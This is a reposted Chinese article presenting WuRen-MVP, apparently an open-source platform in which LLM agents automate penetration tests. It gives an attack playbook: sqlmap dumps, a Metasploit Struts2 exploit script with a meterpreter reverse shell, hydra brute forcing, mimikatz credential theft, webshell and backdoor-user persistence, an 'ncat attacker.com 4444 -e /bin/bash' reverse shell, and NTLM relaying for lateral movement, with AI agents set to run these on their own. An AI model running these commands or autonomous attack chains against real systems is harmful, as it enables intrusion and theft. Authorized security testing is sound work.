文章总结: 雾刃(WuRen-MVP)是由玄坤信安开发的AI自动化渗透测试平台概念验证版,采用P-E-R三角色分离架构(规划、执行、审查Agent),通过MCP协议统一调度nmap、nuclei、sqlmap、metasploit等安全工具,支持OpenAI、Claude、DeepSeek、Ollama等多种LLM接入,覆盖信息收集、漏洞利用、权限维持和内网横向四阶段全流程自动化渗透测试,内置知识库与自学习机制,基于Docker容器化隔离执行,可在KaliLinux上部署运行,项目代码已在GitHub开源。 综合评分: 65 文章分类: 渗透测试,AI安全,WEB安全,内网渗透,安全工具
3.2 第二阶段:漏洞利用 (Exploitation)
目标:在信息收集的基础上,识别具体的安全漏洞,并利用它们获取初步的访问权限。
3.2.1 通用漏洞扫描
工具推荐:
nuclei(模板化漏洞扫描 – 强烈推荐)wpscan(WordPress专项扫描)dalfox(XSS漏洞检测)sqlmap(SQL注入检测)
执行动作:
Nuclei扫描:
- nuclei -u http://target -t nuclei-templates/
WordPress扫描:
- wpscan --url http://target --enumerate u,p,t,tt
XSS检测:
- dalfox url http://target/?param=value
SQL注入:
- sqlmap -u "http://target/?id=1" --batch --dump
3.2.2 服务漏洞利用
工具推荐:
metasploit(漏洞利用框架)msfvenom(载荷生成)searchsploit(漏洞库查询)
MSF使用规范:
- 查找模块:使用
search命令查找相关模块 - 选择模块:优先选择Rank为
Excellent或Great的模块 - 配置执行:使用资源脚本(.rc)确保稳定性和可复现性
- 验证结果:通过
sessions -l和sessions -i -1 -C "whoami"验证
示例资源脚本:
# exploit.rc
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.1.100
set RPORT 8080
set TARGETURI /struts2-showcase/
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j-z
sleep10
sessions -l
sessions -i-1-C"whoami"
exit-y
3.2.3 弱口令爆破
工具推荐:
hydra(在线服务爆破)hashcat(离线哈希破解)john(密码破解)
执行动作:
SSH爆破:
- hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt ssh://target
FTP爆破:
- hydra -l admin -P /usr/share/wordlists/fasttrack.txt ftp://target
RDP爆破:
- hydra -L users.txt -P passwords.txt rdp://target
字典路径规范:
- 密码字典:
/usr/share/wordlists/rockyou.txt - 用户字典:
/usr/share/wordlists/metasploit/unix_users.txt - Web目录:
/usr/share/wordlists/dirb/common.txt
3.3 第三阶段:权限维持 (Persistence)
目标:在成功利用漏洞获得初始立足点后,维持访问权限,避免丢失控制权。
3.3.1 本地信息收集
工具推荐:
linpeas(Linux本地提权枚举 – 必跑)winpeas(Windows本地提权枚举)impacket(远程执行与凭证利用)
执行动作:
Linux提权枚举:
- 上传并执行 linpeas.sh
- 分析SUID文件、计划任务、内核漏洞
Windows提权枚举:
- 上传并执行 winPEAS.exe
- 分析服务权限、注册表、补丁情况
3.3.2 凭证获取
优先提取位置:
- 配置文件中的硬编码密码
- 历史命令记录 (.bash_history)
- 服务配置文件
- 内存中的凭证/票据 (mimikatz)
- 浏览器保存的密码
3.3.3 持久化后门
方法:
- WebShell上传
- 计划任务创建
- 后门用户创建
- 服务注册
3.3.4 隧道建立
工具推荐:
ssh(端口转发/隧道)ncat(反弹Shell/数据传输)
执行动作:
SSH反向隧道:
- ssh -R 8080:localhost:80 [email protected]
NCAT反弹Shell:
-攻击端: ncat -lvnp 4444
-目标端: ncat attacker.com 4444 -e /bin/bash
3.4 第四阶段:内网横向 (Lateral Movement)
目标:以此为跳板,探测和攻击内网中的其他主机,扩大战果。
3.4.1 内网探测
工具推荐:
nmap(静态编译版或代理)arp-scan(邻居发现)fscan(内网综合扫描)
执行动作:
内网主机发现:
- arp-scan -l
端口扫描:
- nmap -sS -T4 10.0.0.0/24
3.4.2 中间人攻击
工具推荐:
responder(LLMNR/NBT-NS毒化)impacket(横向移动工具集)
执行动作:
- 运行Responder监听内网,截获NetNTLM哈希
- 使用impacket的psexec/smbexec/wmiexec进行横向移动
3.4.3 域环境分析
工具推荐:
bloodhound(Active Directory关系分析)impacket(域凭证操作)
执行动作:
- 收集域内信息并导入BloodHound
- 分析攻击路径(最短路径、高价值目标)
四、AI集成与自动化
4.1 LLM集成方案
雾刃系统支持多种大语言模型接入:
表格
| 模型类型 | 提供商 | 适用场景 | | — | — | — | | 云端API | OpenAI GPT-4/Claude 3.5 | 复杂推理、报告生成 | | 云端API | DeepSeek | 代码分析、漏洞解释 | | 本地部署 | Ollama (Llama3/Mistral) | 数据隐私要求高场景 |
4.2 MCP协议集成
通过Model Context Protocol (MCP)实现AI与工具的标准化交互:
MCP工具调用规范:
-统一入口: run_tool(name="tool_name", args={...})
-工具发现: list_tools_catalog()
-参数查询: get_tool_info(tool_name)
-执行超时: 默认15分钟
4.3 智能决策流程
用户输入目标 → AI分解任务 → 选择工具 → 执行扫描 →
分析结果 → 决策下一步 → 循环直至完成 → 生成报告
4.4 知识库与自学习
内置知识库(data/knowledge, data/skills, data/vulndb):
- 渗透测试手册
- 工具使用指南
- 漏洞利用方法
- 历史案例经验
自学习机制:
- 搜索:使用
web_search查找最新CVE/Exploit - 学习:分析攻击原理与Payload
- 保存:使用
add_knowledge沉淀到本地知识库 - 复用:下次直接通过
search_knowledge检索
五、工具参数速查表
5.1 Nmap
- Target: 位置参数,不需要
-u或--target - Ports:
ports参数 (对应-p) - Scan Type:
scan_type(如-sV,-sC) - 示例:
nmap(target="192.168.1.1", ports="80,443", scan_type="-sV -sC")
5.2 SQLMap
- URL:
url参数 (对应-u),必须包含http://或https:// - Batch: 始终设置
batch=True - 示例:
sqlmap(url="http://example.com?id=1", batch=True)
5.3 Gobuster
- Mode: 第一个位置参数,
dir(目录)或dns(子域名) - Target:
url参数 (对应-u) - Wordlist:
wordlist参数 (对应-w) - 示例:
gobuster(mode="dir", url="http://example.com", wordlist="/usr/share/wordlists/dirb/common.txt")
5.4 Hydra
- Target: 位置参数0 (IP)
- Service: 位置参数1 (如
ssh,ftp) - User/Pass:
username(-l)/password(-p)或username_file(-L)/password_file(-P) - 示例:
hydra(target="192.168.1.1", service="ssh", username="root", password_file="/usr/share/wordlists/rockyou.txt")
5.5 Nuclei
- Target:
target参数 (对应-u) - 示例:
nuclei(target="http://example.com")
5.6 Metasploit
- 核心原则: 模块化框架,需指定Module、Payload和Options
- 工作流: search → use → set → exploit → sessions验证 → exit
- 防卡死: 所有.rc脚本末尾必须添加
exit -y
六、部署与使用
6.1 环境要求
- 操作系统: Linux (推荐Kali Linux/Ubuntu)
- Docker: 用于工具隔离执行
- Python: 3.8+
- 内存: 建议8GB+
- 磁盘: 建议50GB+
6.2 快速部署
# 克隆仓库
git clone https://github.com/JXJZJWHCM/WuRen-MVP.git
cd WuRen-MVP
# 创建虚拟环境
python -m venv venv
# 下载依赖
.\venv\Scripts\pip install -r requirements.txt
# 访问Web界面
.\venv\Scripts\python -m src.main
# 默认地址: http://localhost:8000
6.3 基本使用流程
- 创建项目: 输入目标范围、授权信息
- 启动扫描: AI自动执行四阶段渗透测试
- 监控进度: 实时查看执行日志与中间结果
- 审查证据: 查看自动收集的截图、命令输出
- 生成报告: 导出标准化渗透测试报告
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:一个人挺好 wa 一个人挺好 一个人挺好《WuRen-MVP——ai渗透测试系统(可结合kali)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论